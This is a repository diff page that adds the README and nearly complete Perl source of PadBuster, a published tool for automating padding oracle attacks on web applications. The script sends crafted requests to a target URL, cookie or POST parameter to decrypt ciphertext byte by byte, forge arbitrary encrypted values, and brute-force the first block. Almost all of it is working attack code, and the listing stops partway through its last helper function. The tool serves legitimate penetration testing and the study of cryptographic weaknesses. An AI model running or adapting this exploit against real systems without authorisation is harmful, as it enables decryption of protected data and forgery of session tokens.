Codebase list padbuster / 8081601
Imported Upstream version 0.3.1 Devon Kearns 11 years ago
2 changed file(s) with 905 addition(s) and 0 deletion(s). Raw diff Collapse all Expand all
0 PadBuster - Automated script for performing Padding Oracle attacks
1
2 Author: Brian Holyfield - Gotham Digital Science ([email protected])
3
4 Credits to J.Rizzo and T.Duong for providing proof of concept web exploit
5 techniques and S.Vaudenay for initial discovery of the attack. Credits also
6 to James M. Martin ([email protected]) for sharing proof of concept exploit
7 code for performing various brute force attack techniques.
8
9 PadBuster is a Perl script for automating Padding Oracle Attacks. PadBuster
10 provides the capability to decrypt arbitrary ciphertext, encrypt arbitrary plaintext,
11 and perform automated response analysis to determine whether a request is vulnerable
12 to padding oracle attacks.
13
14 PadBuster is released under the Reciprocal Public License 1.5 (RPL1.5)
15 http://www.opensource.org/licenses/rpl1.5
0 #!/usr/bin/perl
1 #
2 # PadBuster v0.3.3 - Automated script for performing Padding Oracle attacks
3 # Brian Holyfield - Gotham Digital Science ([email protected])
4 #
5 # Credits to J.Rizzo and T.Duong for providing proof of concept web exploit
6 # techniques and S.Vaudenay for initial discovery of the attack. Credits also
7 # to James M. Martin ([email protected]) for sharing proof of concept exploit
8 # code for performing various brute force attack techniques, and wireghoul (Eldar
9 # Marcussen) for making code quality improvements.
10 #
11
12 use LWP::UserAgent;
13 use strict;
14 use warnings;
15 use Getopt::Std;
16 use MIME::Base64;
17 use URI::Escape;
18 use Getopt::Long;
19 use Time::HiRes qw( gettimeofday );
20 use Compress::Zlib;
21 use Crypt::SSLeay;
22
23 # Set defaults with $variable = value
24 my $logFiles;
25 my $post;
26 my $encoding = 0;
27 my $headers;
28 my $cookie;
29 my $error;
30 my $prefix;
31 my $intermediaryInput;
32 my $cipherInput;
33 my $plainTextInput;
34 my $encodedPlainTextInput;
35 my $noEncodeOption;
36 my $superVerbose;
37 my $proxy;
38 my $proxyAuth;
39 my $noIv;
40 my $auth;
41 my $resumeBlock;
42 my $interactive = 0;
43 my $bruteForce;
44 my $ignoreContent;
45 my $useBody;
46 my $verbose;
47
48 GetOptions( "log" => \$logFiles,
49 "post=s" => \$post,
50 "encoding=s" => \$encoding,
51 "headers=s" => \$headers,
52 "cookies=s" => \$cookie,
53 "error=s" => \$error,
54 "prefix=s" => \$prefix,
55 "intermediate=s" => \$intermediaryInput,
56 "ciphertext=s" => \$cipherInput,
57 "plaintext=s" => \$plainTextInput,
58 "encodedtext=s" => \$encodedPlainTextInput,
59 "noencode" => \$noEncodeOption,
60 "veryverbose" => \$superVerbose,
61 "proxy=s" => \$proxy,
62 "proxyauth=s" => \$proxyAuth,
63 "noiv" => \$noIv,
64 "auth=s" => \$auth,
65 "resume=s" => \$resumeBlock,
66 "interactive" => \$interactive,
67 "bruteforce" => \$bruteForce,
68 "ignorecontent" => \$ignoreContent,
69 "usebody" => \$useBody,
70 "verbose" => \$verbose);
71
72 print "\n+-------------------------------------------+\n";
73 print "| PadBuster - v0.3.3 |\n";
74 print "| Brian Holyfield - Gotham Digital Science |\n";
75 print "| labs\@gdssecurity.com |\n";
76 print "+-------------------------------------------+\n";
77
78 if ($#ARGV < 2) {
79 die "
80 Use: padBuster.pl URL EncryptedSample BlockSize [options]
81
82 Where: URL = The target URL (and query string if applicable)
83 EncryptedSample = The encrypted value you want to test. Must
84 also be present in the URL, PostData or a Cookie
85 BlockSize = The block size being used by the algorithm
86
87 Options:
88 -auth [username:password]: HTTP Basic Authentication
89 -bruteforce: Perform brute force against the first block
90 -ciphertext [Bytes]: CipherText for Intermediate Bytes (Hex-Encoded)
91 -cookies [HTTP Cookies]: Cookies (name1=value1; name2=value2)
92 -encoding [0-4]: Encoding Format of Sample (Default 0)
93 0=Base64, 1=Lower HEX, 2=Upper HEX
94 3=.NET UrlToken, 4=WebSafe Base64
95 -encodedtext [Encoded String]: Data to Encrypt (Encoded)
96 -error [Error String]: Padding Error Message
97 -headers [HTTP Headers]: Custom Headers (name1::value1;name2::value2)
98 -interactive: Prompt for confirmation on decrypted bytes
99 -intermediate [Bytes]: Intermediate Bytes for CipherText (Hex-Encoded)
100 -log: Generate log files (creates folder PadBuster.DDMMYY)
101 -noencode: Do not URL-encode the payload (encoded by default)
102 -noiv: Sample does not include IV (decrypt first block)
103 -plaintext [String]: Plain-Text to Encrypt
104 -post [Post Data]: HTTP Post Data String
105 -prefix [Prefix]: Prefix bytes to append to each sample (Encoded)
106 -proxy [address:port]: Use HTTP/S Proxy
107 -proxyauth [username:password]: Proxy Authentication
108 -resume [Block Number]: Resume at this block number
109 -usebody: Use response body content for response analysis phase
110 -verbose: Be Verbose
111 -veryverbose: Be Very Verbose (Debug Only)
112
113 ";}
114
115 # Ok, if we've made it this far we are ready to begin..
116 my $url = $ARGV[0];
117 my $sample = $ARGV[1];
118 my $blockSize = $ARGV[2];
119
120 if ($url eq "" || $sample eq "" || $blockSize eq "") {
121 print "\nERROR: The URL, EncryptedSample and BlockSize cannot be null.\n";
122 exit();
123 }
124
125 # Hard Coded Inputs
126 #$post = "";
127 #$sample = "";
128
129 my $method = $post ? "POST" : "GET";
130
131 # These are file related variables
132 my $dirName = "PadBuster." . &getTime("F");
133 my $dirSlash = "/";
134 my $dirCmd = "mkdir ";
135 if (defined($ENV{'OS'})) {
136 if ($ENV{OS} =~ /Windows/) {
137 $dirSlash = "\\";
138 $dirCmd = "md ";
139 }
140 }
141 my $dirExists = 0;
142 my $printStats = 0;
143 my $requestTracker = 0;
144 my $timeTracker = 0;
145
146 if ($encoding < 0 || $encoding > 4) {
147 print "\nERROR: Encoding must be a value between 0 and 4\n";
148 exit();
149 }
150 my $encodingFormat = $encoding ? $encoding : 0;
151
152 my $encryptedBytes = $sample;
153 my $totalRequests = 0;
154
155 # See if the sample needs to be URL decoded, otherwise don't (the plus from B64 will be a problem)
156 if ($sample =~ /\%/) {
157 $encryptedBytes = &uri_unescape($encryptedBytes)
158 }
159
160 # Prep the sample for regex use
161 $sample = quotemeta $sample;
162
163 # Now decode
164 $encryptedBytes = &myDecode($encryptedBytes, $encodingFormat);
165 if ( (length($encryptedBytes) % $blockSize) > 0) {
166 print "\nERROR: Encrypted Bytes must be evenly divisible by Block Size ($blockSize)\n";
167 print " Encrypted sample length is ".int(length($encryptedBytes)).". Double check the Encoding and Block Size.\n";
168 exit();
169 }
170
171 # If no IV, then append nulls as the IV (only if decrypting)
172 if ($noIv && !$bruteForce && !$plainTextInput) {
173 $encryptedBytes = "\x00" x $blockSize . $encryptedBytes;
174 }
175
176 # PlainTextBytes is where the complete decrypted sample will be stored (decrypt only)
177 my $plainTextBytes;
178
179 # This is a bool to make sure we know where to replace the sample string
180 my $wasSampleFound = 0;
181
182 # ForgedBytes is where the complete forged sample will be stored (encrypt only)
183 my $forgedBytes;
184
185 # Isolate the IV into a separate byte array
186 my $ivBytes = substr($encryptedBytes, 0, $blockSize);
187
188 # Declare some optional elements for storing the results of the first test iteration
189 # to help the user if they don't know what the padding error looks like
190 my @oracleCantidates;
191 my $oracleSignature = "";
192 my %oracleGuesses;
193 my %responseFileBuffer;
194
195 # The block count should be the sample divided by the blocksize
196 my $blockCount = int(length($encryptedBytes)) / int($blockSize);
197
198 if (!$bruteForce && !$plainTextInput && $blockCount < 2) {
199 print "\nERROR: There is only one block. Try again using the -noiv option.\n";
200 exit();
201 }
202
203 # The attack works by sending in a real cipher text block along with a fake block in front of it
204 # You only ever need to send two blocks at a time (one real one fake) and just work through
205 # the sample one block at a time
206
207
208 # First, re-issue the original request to let the user know if something is potentially broken
209 my ($status, $content, $location, $contentLength) = &makeRequest($method, $url, $post, $cookie);
210
211 &myPrint("\nINFO: The original request returned the following",0);
212 &myPrint("[+] Status: $status",0);
213 &myPrint("[+] Location: $location",0);
214 &myPrint("[+] Content Length: $contentLength\n",0);
215 &myPrint("[+] Response: $content\n",1);
216
217 $plainTextInput = &myDecode($encodedPlainTextInput,$encodingFormat) if $encodedPlainTextInput;
218
219 if ($bruteForce) {
220 &myPrint("INFO: Starting PadBuster Brute Force Mode",0);
221 my $bfAttempts = 0;
222
223 print "INFO: Resuming previous brute force at attempt $resumeBlock\n" if $resumeBlock;
224
225 # Only loop through the first 3 bytes...this should be enough as it
226 # requires 16.5M+ requests
227
228 my @bfSamples;
229 my $sampleString = "\x00" x 2;
230 for my $c (0 ... 255) {
231 substr($sampleString, 0, 1, chr($c));
232 for my $d (0 ... 255) {
233 substr($sampleString, 1, 1, chr($d));
234 push (@bfSamples, $sampleString);
235 }
236 }
237
238 foreach my $testVal (@bfSamples) {
239 my $complete = 0;
240 while ($complete == 0) {
241 my $repeat = 0;
242 for my $b (0 ... 255) {
243 $bfAttempts++;
244 if ( $resumeBlock && ($bfAttempts < ($resumeBlock - ($resumeBlock % 256)+1)) ) {
245 #SKIP
246 } else {
247 my $testBytes = chr($b).$testVal;
248 $testBytes .= "\x00" x ($blockSize-3);
249
250 my $combinedBf = $testBytes;
251 $combinedBf .= $encryptedBytes;
252 $combinedBf = &myEncode($combinedBf, $encoding);
253
254 # Add the Query String to the URL
255 my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedBf);
256
257
258 # Issue the request
259 my ($status, $content, $location, $contentLength) = &makeRequest($method, $testUrl, $testPost, $testCookies);
260
261 my $signatureData = "$status\t$contentLength\t$location";
262 $signatureData = "$status\t$contentLength\t$location\t$content" if $useBody;
263
264 if ($oracleSignature eq "") {
265 &myPrint("[+] Starting response analysis...\n",0) if ($b ==0);
266 $oracleGuesses{$signatureData}++;
267 $responseFileBuffer{$signatureData} = "Status: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content";
268 if ($b == 255) {
269 &myPrint("*** Response Analysis Complete ***\n",0);
270 &determineSignature();
271 $printStats = 1;
272 $timeTracker = 0;
273 $requestTracker = 0;
274 $repeat = 1;
275 $bfAttempts = 0;
276 }
277 }
278 if ($oracleSignature ne "" && $oracleSignature ne $signatureData) {
279 &myPrint("\nAttempt $bfAttempts - Status: $status - Content Length: $contentLength\n$testUrl\n",0);
280 &writeFile("Brute_Force_Attempt_".$bfAttempts.".txt", "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content");
281 }
282 }
283 }
284 ($repeat == 1) ? ($complete = 0) : ($complete = 1);
285 }
286 }
287 } elsif ($plainTextInput) {
288 # ENCRYPT MODE
289 &myPrint("INFO: Starting PadBuster Encrypt Mode",0);
290
291 # The block count will be the plaintext divided by blocksize (rounded up)
292 my $blockCount = int(((length($plainTextInput)+1)/$blockSize)+0.99);
293 &myPrint("[+] Number of Blocks: ".$blockCount."\n",0);
294
295 my $padCount = ($blockSize * $blockCount) - length($plainTextInput);
296 $plainTextInput.= chr($padCount) x $padCount;
297
298 # SampleBytes is the encrypted text you want to derive intermediate values for, so
299 # copy the current ciphertext block into sampleBytes
300 # Note, nulls are used if not provided and the intermediate values are brute forced
301
302 $forgedBytes = $cipherInput ? &myDecode($cipherInput,1) : "\x00" x $blockSize;
303 my $sampleBytes = $forgedBytes;
304
305 for (my $blockNum = $blockCount; $blockNum > 0; $blockNum--) {
306 # IntermediaryBytes is where the intermediate bytes produced by the algorithm are stored
307 my $intermediaryBytes;
308
309 if ($intermediaryInput && $blockNum == $blockCount) {
310 $intermediaryBytes = &myDecode($intermediaryInput,2);
311 } else {
312 $intermediaryBytes = &processBlock($sampleBytes);
313 }
314
315 # Now XOR the intermediate bytes with the corresponding bytes from the plain-text block
316 # This will become the next ciphertext block (or IV if the last one)
317 $sampleBytes = $intermediaryBytes ^ substr($plainTextInput, (($blockNum-1) * $blockSize), $blockSize);
318 $forgedBytes = $sampleBytes.$forgedBytes;
319
320 &myPrint("\nBlock ".($blockNum)." Results:",0);
321 &myPrint("[+] New Cipher Text (HEX): ".&myEncode($sampleBytes,1),0);
322 &myPrint("[+] Intermediate Bytes (HEX): ".&myEncode($intermediaryBytes,1)."\n",0);
323
324 }
325 $forgedBytes = &myEncode($forgedBytes, $encoding);
326 chomp($forgedBytes);
327 } else {
328 # DECRYPT MODE
329 &myPrint("INFO: Starting PadBuster Decrypt Mode",0);
330
331 if ($resumeBlock) {
332 &myPrint("INFO: Resuming previous exploit at Block $resumeBlock\n",0);
333 } else {
334 $resumeBlock = 1
335 }
336
337 # Assume that the IV is included in our sample and that the first block is the IV
338 for (my $blockNum = ($resumeBlock+1); $blockNum <= $blockCount; $blockNum++) {
339 # Since the IV is the first block, our block count is artificially inflated by one
340 &myPrint("*** Starting Block ".($blockNum-1)." of ".($blockCount-1)." ***\n",0);
341
342 # SampleBytes is the encrypted text you want to break, so
343 # lets copy the current ciphertext block into sampleBytes
344 my $sampleBytes = substr($encryptedBytes, ($blockNum * $blockSize - $blockSize), $blockSize);
345
346 # IntermediaryBytes is where the the intermediary bytes produced by the algorithm are stored
347 my $intermediaryBytes = &processBlock($sampleBytes);
348
349 # DecryptedBytes is where the decrypted block is stored
350 my $decryptedBytes;
351
352 # Now we XOR the decrypted byte with the corresponding byte from the previous block
353 # (or IV if we are in the first block) to get the actual plain-text
354 $blockNum == 2 ? $decryptedBytes = $intermediaryBytes ^ $ivBytes : $decryptedBytes = $intermediaryBytes ^ substr($encryptedBytes, (($blockNum - 2) * $blockSize), $blockSize);
355
356 &myPrint("\nBlock ".($blockNum-1)." Results:",0);
357 &myPrint("[+] Cipher Text (HEX): ".&myEncode($sampleBytes,1),0);
358 &myPrint("[+] Intermediate Bytes (HEX): ".&myEncode($intermediaryBytes,1),0);
359 &myPrint("[+] Plain Text: $decryptedBytes\n",0);
360 $plainTextBytes = $plainTextBytes.$decryptedBytes;
361 }
362 }
363
364 &myPrint("-------------------------------------------------------",0);
365 &myPrint("** Finished ***\n", 0);
366 if ($plainTextInput) {
367 &myPrint("[+] Encrypted value is: ".&uri_escape($forgedBytes),0);
368 } else {
369 &myPrint("[+] Decrypted value (ASCII): $plainTextBytes\n",0);
370 &myPrint("[+] Decrypted value (HEX): ".&myEncode($plainTextBytes,2)."\n", 0);
371 &myPrint("[+] Decrypted value (Base64): ".&myEncode($plainTextBytes,0)."\n", 0);
372 }
373 &myPrint("-------------------------------------------------------\n",0);
374
375 sub determineSignature {
376 # Help the user detect the oracle response if an error string was not provided
377 # This logic will automatically suggest the response pattern that occured most often
378 # during the test as this is the most likeley one
379
380 my @sortedGuesses = sort {$oracleGuesses{$a} <=> $oracleGuesses{$b}} keys %oracleGuesses;
381
382 &myPrint("The following response signatures were returned:\n",0);
383 &myPrint("-------------------------------------------------------",0);
384 if ($useBody) {
385 &myPrint("ID#\tFreq\tStatus\tLength\tChksum\tLocation",0);
386 } else {
387 &myPrint("ID#\tFreq\tStatus\tLength\tLocation",0);
388 }
389 &myPrint("-------------------------------------------------------",0);
390
391 my $id = 1;
392
393 foreach (@sortedGuesses) {
394 my $line = $id;
395 ($id == $#sortedGuesses+1 && $#sortedGuesses != 0) ? $line.= " **" : $line.="";
396 my @sigFields = split("\t", $_);
397 $line .= "\t$oracleGuesses{$_}\t$sigFields[0]\t$sigFields[1]";
398 $useBody ? ( $line .= "\t".unpack( '%32A*', $sigFields[3] ) ) : $line.="";
399 $line .= "\t$sigFields[2]";
400 &myPrint($line,0);
401 &writeFile("Response_Analysis_Signature_".$id.".txt", $responseFileBuffer{$_});
402 $id++;
403 }
404 &myPrint("-------------------------------------------------------",0);
405
406 if ($#sortedGuesses == 0 && !$bruteForce) {
407 &myPrint("\nERROR: All of the responses were identical.\n",0);
408 &myPrint("Double check the Block Size and try again.",0);
409 exit();
410 } else {
411 my $responseNum = &promptUser("\nEnter an ID that matches the error condition\nNOTE: The ID# marked with ** is recommended");
412 &myPrint("\nContinuing test with selection $responseNum\n",0);
413 $oracleSignature = $sortedGuesses[$responseNum-1];
414 }
415 }
416
417 sub prepRequest {
418 my ($pUrl, $pPost, $pCookie, $pSample, $pTestBytes) = @_;
419
420 # Prepare the request
421 my $testUrl = $pUrl;
422 my $wasSampleFound = 0;
423
424 if ($pUrl =~ /$pSample/) {
425 $testUrl =~ s/$pSample/$pTestBytes/;
426 $wasSampleFound = 1;
427 }
428
429 my $testPost = "";
430 if ($pPost) {
431 $testPost = $pPost;
432 if ($pPost =~ /$pSample/) {
433 $testPost =~ s/$pSample/$pTestBytes/;
434 $wasSampleFound = 1;
435 }
436 }
437
438 my $testCookies = "";
439 if ($pCookie) {
440 $testCookies = $pCookie;
441 if ($pCookie =~ /$pSample/) {
442 $testCookies =~ s/$pSample/$pTestBytes/;
443 $wasSampleFound = 1;
444 }
445 }
446
447 if ($wasSampleFound == 0) {
448 &myPrint("ERROR: Encrypted sample was not found in the test request",0);
449 exit();
450 }
451 return ($testUrl, $testPost, $testCookies);
452 }
453
454 sub processBlock {
455 my ($sampleBytes) = @_;
456 my $analysisMode;
457 # Analysis mode is either 0 (response analysis) or 1 (exploit)
458 $analysisMode = (!$error && $oracleSignature eq "") ? 0 : 1;
459
460 # The return value of this subroutine is the intermediate text for the block
461 my $returnValue;
462
463 my $complete = 0;
464 my $autoRetry = 0;
465 my $hasHit = 0;
466
467 while ($complete == 0) {
468 # Reset the return value
469 $returnValue = "";
470
471 my $repeat = 0;
472
473 # TestBytes are the fake bytes that are pre-pending to the cipher test for the padding attack
474 my $testBytes = "\x00" x $blockSize;
475
476 my $falsePositiveDetector = 0;
477
478 # Work on one byte at a time, starting with the last byte and moving backwards
479 OUTERLOOP:
480 for (my $byteNum = $blockSize - 1; $byteNum >= 0; $byteNum--) {
481 INNERLOOP:
482 for (my $i = 255; $i >= 0; $i--) {
483 # Fuzz the test byte
484 substr($testBytes, $byteNum, 1, chr($i));
485
486 # Combine the test bytes and the sample
487 my $combinedTestBytes = $testBytes.$sampleBytes;
488
489 if ($prefix) {
490 $combinedTestBytes = &myDecode($prefix,$encodingFormat).$combinedTestBytes
491 }
492
493 $combinedTestBytes = &myEncode($combinedTestBytes, $encodingFormat);
494 chomp($combinedTestBytes);
495
496 if (! $noEncodeOption) {
497 $combinedTestBytes = &uri_escape($combinedTestBytes);
498 }
499
500 my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedTestBytes);
501
502 # Ok, now make the request
503
504 my ($status, $content, $location, $contentLength) = &makeRequest($method, $testUrl, $testPost, $testCookies);
505
506
507 my $signatureData = "$status\t$contentLength\t$location";
508 $signatureData = "$status\t$contentLength\t$location\t$content" if $useBody;
509
510 # If this is the first block and there is no padding error message defined, then cycle through
511 # all possible requests and let the user decide what the padding error behavior is.
512 if ($analysisMode == 0) {
513 &myPrint("INFO: No error string was provided...starting response analysis\n",0) if ($i == 255);
514 $oracleGuesses{$signatureData}++;
515
516 $responseFileBuffer{$signatureData} = "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content";
517
518 if ($byteNum == $blockSize - 1 && $i == 0) {
519 &myPrint("*** Response Analysis Complete ***\n",0);
520 &determineSignature();
521 $analysisMode = 1;
522 $repeat = 1;
523 last OUTERLOOP;
524 }
525 }
526
527 my $continue = "y";
528
529 if (($error && $content !~ /$error/) || ($oracleSignature ne "" && $oracleSignature ne $signatureData)) {
530 # This is for autoretry logic (only works on the first byte)
531 if ($autoRetry == 1 && ($byteNum == ($blockSize - 1) ) && $hasHit == 0 ) {
532 $hasHit++;
533 } else {
534 # If there was no padding error, then it worked
535 &myPrint("[+] Success: (".abs($i-256)."/256) [Byte ".($byteNum+1)."]",0);
536 &myPrint("[+] Test Byte:".&uri_escape(substr($testBytes, $byteNum, 1)),1);
537
538 # If continually getting a hit on attempt zero, then something is probably wrong
539 $falsePositiveDetector++ if ($i == 255);
540
541 if ($interactive == 1) {
542 $continue = &promptUser("Do you want to use this value (Yes/No/All)? [y/n/a]","",1);
543 }
544
545 if ($continue eq "y" || $continue eq "a") {
546 $interactive = 0 if ($continue eq "a");
547
548 # Next, calculate the decrypted byte by XORing it with the padding value
549 my ($currentPaddingByte, $nextPaddingByte);
550
551 # These variables could allow for flexible padding schemes (for now PCKS)
552 # For PCKS#7, the padding block is equal to chr($blockSize - $byteNum)
553 $currentPaddingByte = chr($blockSize - $byteNum);
554 $nextPaddingByte = chr($blockSize - $byteNum + 1);
555
556 my $decryptedByte = substr($testBytes, $byteNum, 1) ^ $currentPaddingByte;
557 &myPrint("[+] XORing with Padding Char, which is ".&uri_escape($currentPaddingByte),1);
558
559 $returnValue = $decryptedByte.$returnValue;
560 &myPrint("[+] Decrypted Byte is: ".&uri_escape($decryptedByte),1);
561
562 # Finally, update the test bytes in preparation for the next round, based on the padding used
563 for (my $k = $byteNum; $k < $blockSize; $k++) {
564 # First, XOR the current test byte with the padding value for this round to recover the decrypted byte
565 substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $currentPaddingByte));
566
567 # Then, XOR it again with the padding byte for the next round
568 substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $nextPaddingByte));
569 }
570 last INNERLOOP;
571 }
572
573 }
574 }
575
576 ## TODO: Combine these two blocks?
577 if ($i == 0 && $analysisMode == 1) {
578 # End of the road with no success. We should probably try again.
579 &myPrint("ERROR: No matching response on [Byte ".($byteNum+1)."]",0);
580
581 if ($autoRetry == 0) {
582 $autoRetry = 1;
583 &myPrint(" Automatically trying one more time...",0);
584 $repeat = 1;
585 last OUTERLOOP;
586
587 } else {
588 if (($byteNum == $blockSize - 1) && ($error)) {
589 &myPrint("\nAre you sure you specified the correct error string?",0);
590 &myPrint("Try re-running without the -e option to perform a response analysis.\n",0);
591 }
592
593 $continue = &promptUser("Do you want to start this block over? (Yes/No)? [y/n/a]","",1);
594 if ($continue ne "n") {
595 &myPrint("INFO: Switching to interactive mode",0);
596 $interactive = 1;
597 $repeat = 1;
598 last OUTERLOOP;
599 }
600 }
601 }
602 if ($falsePositiveDetector == $blockSize) {
603 &myPrint("\n*** ERROR: It appears there are false positive results. ***\n",0);
604 &myPrint("HINT: The most likely cause for this is an incorrect error string.\n",0);
605 if ($error) {
606 &myPrint("[+] Check the error string you provided and try again, or consider running",0);
607 &myPrint("[+] without an error string to perform an automated response analysis.\n",0);
608 } else {
609 &myPrint("[+] You may want to consider defining a custom padding error string",0);
610 &myPrint("[+] instead of the automated response analysis.\n",0);
611 }
612 $continue = &promptUser("Do you want to start this block over? (Yes/No)? [y/n/a]","",1);
613 if ($continue eq "y") {
614 &myPrint("INFO: Switching to interactive mode",0);
615 $interactive = 1;
616 $repeat = 1;
617 last OUTERLOOP;
618 }
619 }
620 }
621 }
622 ($repeat == 1) ? ($complete = 0) : ($complete = 1);
623 }
624 return $returnValue;
625 }
626
627 sub makeRequest {
628
629 my ($method, $url, $data, $cookie) = @_;
630 my ($noConnect, $lwp, $status, $content, $req, $location, $contentLength);
631 my $numRetries = 0;
632 $data ='' unless $data;
633 $cookie='' unless $cookie;
634
635 $requestTracker++;
636 do {
637 #Quick hack to avoid hostname in URL when using a proxy with SSL (this will get re-set later if needed)
638 $ENV{HTTPS_PROXY} = "";
639
640 $lwp = LWP::UserAgent->new(env_proxy => 1,
641 keep_alive => 1,
642 timeout => 30,
643 requests_redirectable => [],
644 );
645
646 $req = new HTTP::Request $method => $url;
647
648 &myPrint("Request:\n$method\n$url\n$data\n$cookie",0) if $superVerbose;
649
650 # Add request content for POST and PUTS
651 if ($data) {
652 $req->content_type('application/x-www-form-urlencoded');
653 $req->content($data);
654 }
655
656 if ($proxy) {
657 my $proxyUrl = "http://";
658 if ($proxyAuth) {
659 my ($proxyUser, $proxyPass) = split(":",$proxyAuth);
660 $ENV{HTTPS_PROXY_USERNAME} = $proxyUser;
661 $ENV{HTTPS_PROXY_PASSWORD} = $proxyPass;
662 $proxyUrl .= $proxyAuth."@";
663 }
664 $proxyUrl .= $proxy;
665 $lwp->proxy(['http'], "http://".$proxy);
666 $ENV{HTTPS_PROXY} = "http://".$proxy;
667 }
668
669
670 if ($auth) {
671 my ($httpuser, $httppass) = split(/:/,$auth);
672 $req->authorization_basic($httpuser, $httppass);
673 }
674
675 # If cookies are defined, add a COOKIE header
676 if (! $cookie eq "") {
677 $req->header(Cookie => $cookie);
678 }
679
680 if ($headers) {
681 my @customHeaders = split(/;/i,$headers);
682 for (my $i = 0; $i <= $#customHeaders; $i++) {
683 my ($headerName, $headerVal) = split(/\::/i,$customHeaders[$i]);
684 $req->header($headerName, $headerVal);
685 }
686 }
687
688 my $startTime = &gettimeofday();
689 my $response = $lwp->request($req);
690 my $endTime = &gettimeofday();
691 $timeTracker = $timeTracker + ($endTime - $startTime);
692
693 if ($printStats == 1 && $requestTracker % 250 == 0) {
694 print "[+] $requestTracker Requests Issued (Avg Request Time: ".(sprintf "%.3f", $timeTracker/100).")\n";
695 $timeTracker = 0;
696 }
697
698
699 # Extract the required attributes from the response
700 $status = substr($response->status_line, 0, 3);
701 $content = $response->content;
702
703 &myPrint("Response Content:\n$content",0) if $superVerbose;
704 $location = $response->header("Location");
705 if (!$location) {
706 $location = "N/A";
707 }
708 #$contentLength = $response->header("Content-Length");
709 $contentLength = length($content);
710
711
712 my $contentEncoding = $response->header("Content-Encoding");
713 if ($contentEncoding) {
714 if ($contentEncoding =~ /GZIP/i ) {
715 $content = Compress::Zlib::memGunzip($content);
716 $contentLength = length($content);
717 }
718 }
719
720 my $statusMsg = $response->status_line;
721 #myPrint("Status: $statusMsg, Location: $location, Length: $contentLength",1);
722
723 if ($statusMsg =~ /Can't connect/) {
724 print "ERROR: $statusMsg\n Retrying in 10 seconds...\n\n";
725 $noConnect = 1;
726 $numRetries++;
727 sleep 10;
728 } else {
729 $noConnect = 0;
730 $totalRequests++;
731 }
732 } until (($noConnect == 0) || ($numRetries >= 15));
733 if ($numRetries >= 15) {
734 &myPrint("ERROR: Number of retries has exceeded 15 attempts...quitting.\n",0);
735 exit;
736 }
737 return ($status, $content, $location, $contentLength);
738 }
739
740 sub myPrint {
741 my ($printData, $printLevel) = @_;
742 $printData .= "\n";
743 if (($verbose && $printLevel > 0) || $printLevel < 1 || $superVerbose) {
744 print $printData;
745 &writeFile("ActivityLog.txt",$printData);
746 }
747 }
748
749 sub myEncode {
750 my ($toEncode, $format) = @_;
751 return &encodeDecode($toEncode, 0, $format);
752 }
753
754 sub myDecode {
755 my ($toDecode, $format) = @_;
756 return &encodeDecode($toDecode, 1, $format);
757 }
758
759 sub encodeDecode {
760 my ($toEncodeDecode, $oper, $format) = @_;
761 # Oper: 0=Encode, 1=Decode
762 # Format: 0=Base64, 1 Hex Lower, 2 Hex Upper, 3=NetUrlToken
763 my $returnVal = "";
764 if ($format == 1 || $format == 2) {
765 # HEX
766 if ($oper == 1) {
767 #Decode
768 #Always convert to lower when decoding)
769 $toEncodeDecode = lc($toEncodeDecode);
770 $returnVal = pack("H*",$toEncodeDecode);
771 } else {
772 #Encode
773 $returnVal = unpack("H*",$toEncodeDecode);
774 if ($format == 2) {
775 #Uppercase
776 $returnVal = uc($returnVal)
777 }
778 }
779 } elsif ($format == 3) {
780 # NetUrlToken
781 if ($oper == 1) {
782 $returnVal = &web64Decode($toEncodeDecode,1);
783 } else {
784 $returnVal = &web64Encode($toEncodeDecode,1);
785 }
786 } elsif ($format == 4) {
787 # Web64
788 if ($oper == 1) {
789 $returnVal = &web64Decode($toEncodeDecode,0);
790 } else {
791 $returnVal = &web64Encode($toEncodeDecode,0);
792 }
793 } else {
794 # B64
795 if ($oper == 1) {
796 $returnVal = &decode_base64($toEncodeDecode);
797 } else {
798 $returnVal = &encode_base64($toEncodeDecode);
799 $returnVal =~ s/(\r|\n)//g;
800 }
801 }
802
803 return $returnVal;
804 }
805
806
807 sub web64Encode {
808 my ($input, $net) = @_;
809 # net: 0=No Padding Number, 1=Padding (NetUrlToken)
810 $input = &encode_base64($input);
811 $input =~ s/(\r|\n)//g;
812 $input =~ s/\+/\-/g;
813 $input =~ s/\//\_/g;
814 my $count = $input =~ s/\=//g;
815 $count = 0 if ($count eq "");
816 $input.=$count if ($net == 1);
817 return $input;
818 }
819
820 sub web64Decode {
821 my ($input, $net) = @_;
822 # net: 0=No Padding Number, 1=Padding (NetUrlToken)
823 $input =~ s/\-/\+/g;
824 $input =~ s/\_/\//g;
825 if ($net == 1) {
826 my $count = chop($input);
827 $input = $input.("=" x int($count));
828 }
829 return &decode_base64($input);
830 }
831
832
833 sub promptUser {
834 my($prompt, $default, $yn) = @_;
835 my $defaultValue = $default ? "[$default]" : "";
836 print "$prompt $defaultValue: ";
837 chomp(my $input = <STDIN>);
838
839 $input = $input ? $input : $default;
840 if ($yn) {
841 if ($input =~ /^y|n|a$/) {
842 return $input;
843 } else {
844 &promptUser($prompt, $default, $yn);
845 }
846 } else {
847 if ($input =~ /^-?\d/ && $input > 0 && $input < 256) {
848 return $input;
849 } else {
850 &promptUser($prompt, $default);
851 }
852 }
853 }
854
855 sub writeFile {
856 my ($fileName, $fileContent) = @_;
857 if ($logFiles) {
858 if ($dirExists != 1) {
859 system($dirCmd." ".$dirName);
860 $dirExists = 1;
861 }
862 $fileName = $dirName.$dirSlash.$fileName;
863 open(my $OUTFILE, '>>', $fileName) or die "ERROR: Can't write to file $fileName\n";
864 print $OUTFILE $fileContent;
865 close($OUTFILE);
866 }
867 }
868
869 sub getTime {
870 my ($format) = @_;
871 my ($second, $minute, $hour, $day, $month, $year, $weekday, $dayofyear, $isDST) = localtime(time);
872 my @months = ("JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC");
873 my @days = ("SUN","MON","TUE","WED","THU","FRI","SAT");
874 $month=sprintf("%02d",$month);
875 $day=sprintf("%02d",$day);
876 $hour=sprintf("%02d",$hour);
877 $minute=sprintf("%02d",$minute);
